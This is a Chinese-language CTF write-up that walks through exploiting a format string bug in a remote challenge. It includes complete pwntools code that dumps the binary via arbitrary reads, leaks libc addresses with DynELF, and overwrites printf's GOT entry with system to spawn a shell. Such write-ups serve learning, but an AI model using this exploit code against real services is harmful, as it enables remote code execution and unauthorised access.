在那个只有零和一的世界里,对零的向往,终究是一的执着。

正在下载:4__.zip pwn专题入门分享系列记录4

柠檬水图案

打印一堆图案,然后看到了输入位置的提示信息,于是尝试输入,马上返回输出和你输入一样的内容:

程序输入

猜测是格式化字符串漏洞,果不其然:

格式化字符串漏洞

但是不像之前提供原程序文件可以分析具体代码,只能假设这里是调用了printf打印输入内容造成的漏洞,然后再测试一下:

测试

发现正好打印出了提示信息,说明确实是调用了printf,并且根据第一次泄漏出来的地址0x400af4指向的数据内容“[∗]Ok...Here you are :”,推测出程序加载基址为0x400000,因为该静态字符串正常存储在程序的数据段附近。接着继续测试,泄漏栈上的数据:

泄漏栈数据

可以发现我们输入的字符串是存储在栈上的第6个偏移位置,且程序使用的是64位存储。于是,我们便可以利用此漏洞来实现任意地址读写了,然后通过任意读的能力来dump出原程序的内存镜像以方便进行下一步分析利用:


from pwn import *
import binascii
 
target = remote("54.222.255.223", 50001)
target.recvuntil('lemon:')
 
def printf(format, result_count=0):
    target.sendline(format)
    result = target.recvuntil('lemon:')
    return result[0:result_count]
 
f = open('pwnfile', 'wb')
target = remote("54.222.255.223", 50001)
target.recvuntil('lemon:')
i = 0x0
while i < 0x200000:
    buf =  printf("%7$s" + 'a' * 4 + p64(0x400000 + i), 0x200)
    buf = buf[(buf.find("are : ") + 6) : ]
    print buf    
    len = buf.find("aaaa")
    if len <= 0:
        len = 1
        f.write('\x00')
    else:
        f.write(buf[0:len])
    i += len
f.close()

通过上述代码可以dump下来远程服务器运行的程序镜像文件,然后扔进IDA分析,不要使用默认识别的64elf选项(因为内存数据格式有所变化会导致出错),选择64位二进制文件模式分析,重设一下基地址,然后找到关键函数进行分析:

分析dump程序

分析出以上函数后,可以获得printf和write等函数的got表项地址,进而可以leak出printf和system的地址:


got_write = 0x601020
got_read = 0x601048
got_printf = 0x601040

要leak出printf地址可以直接利用“%s”读取指针got_printf的内容,而要获得system的地址比较蛋疼,本人原本想通过获得两个libc的函数地址然后在libcdb里查找,但是没有成功,最终通过pwntools的DynELF实现了system地址的leak。要使用DynELF,需要先实现一个可以进行任意地址读的leak函数:


def leak(addr, size=8):
    i = 0x0
    result = ''
    while len(result) < size:
        buf =  printf("%7$s" + 'a' * 4 + p64(addr + i), 0x200)
        buf = buf[(buf.find("are : ") + 6) : ]
        find = buf.find("aaaa")
        if find <= 0:
            find = 1
            result += '\x00'
        else:
            result += buf[0:find]
        i += find
    return result[0:size]

该函数的第一个参数是任意地址,返回的结果至少包含一个字节的数据即可。然后把leak函数传给DynELF进行初始化,另外需要一个地址参数,也就是这个参数比较坑,可能我不太懂原理,最后参照官方示例传进libc的基地址加上0x1234才成功leak出了system函数的地址,而传进libc某个函数的地址时可以leak出libc的基地址:


got_printf = 0x601040 #offset 0x4ef60
addr_printf = int(binascii.hexlify(leak(got_printf, 0x8)[::-1]), 16)
print 'addr_printf : %08x' % addr_printf
#d = DynELF(leak, addr_printf) #can leak libc base then calc printf offset 0x4ef60
d = DynELF(leak, addr_printf - 0x4ef60 + 0x1234) #!important:moudle base + 0x1234
addr_system = d.lookup('system') 
print 'addr_system : %08x' % addr_system #offset 0x3e760

这样就获得了system函数的偏移量,最后可以利用“%n”来改写printf的got表项改成system函数的地址了,和之前的思路差不多,只是payload的数据结构有些偏移而已:


#alert the low dword
alert_printf = addr_printf & 0x00000000ffffffff
alert_system = addr_system & 0x00000000ffffffff
hi = alert_system >> 16
low = alert_system & 0x0000ffff
if hi > low:
    payload = "%" + str(low) + "x%12$hn" + "%" + str(hi - low) + "x%13$hn"
else:
    payload = "%" + str(hi) + "x%13$hn" + "%" + str(low - hi) + "x%12$hn"
payload += ((6 * 8 - len(payload)) * 'a' + p64(got_printf) + p64(got_printf + 2))
#print payload
target.sendline(payload)
buf = target.recv()
#print buf
target.sendline('/bin/sh')
target.interactive()

Getshell后,找到flag和原题程序(info.txt就是一开始打印出来的那个柠檬水图案,run.sh为启动本题在指定端口后台运行的脚本):

getshell

最后默默地把原题程序上传拿走,才能顺利进行本篇分享=V=!:

上传程序

另外,看看人家是怎么部署漏洞程序的,本人也是第一次见,才发现原来这么简单的一条命令搞定:

部署题目

OK,本篇分享结束!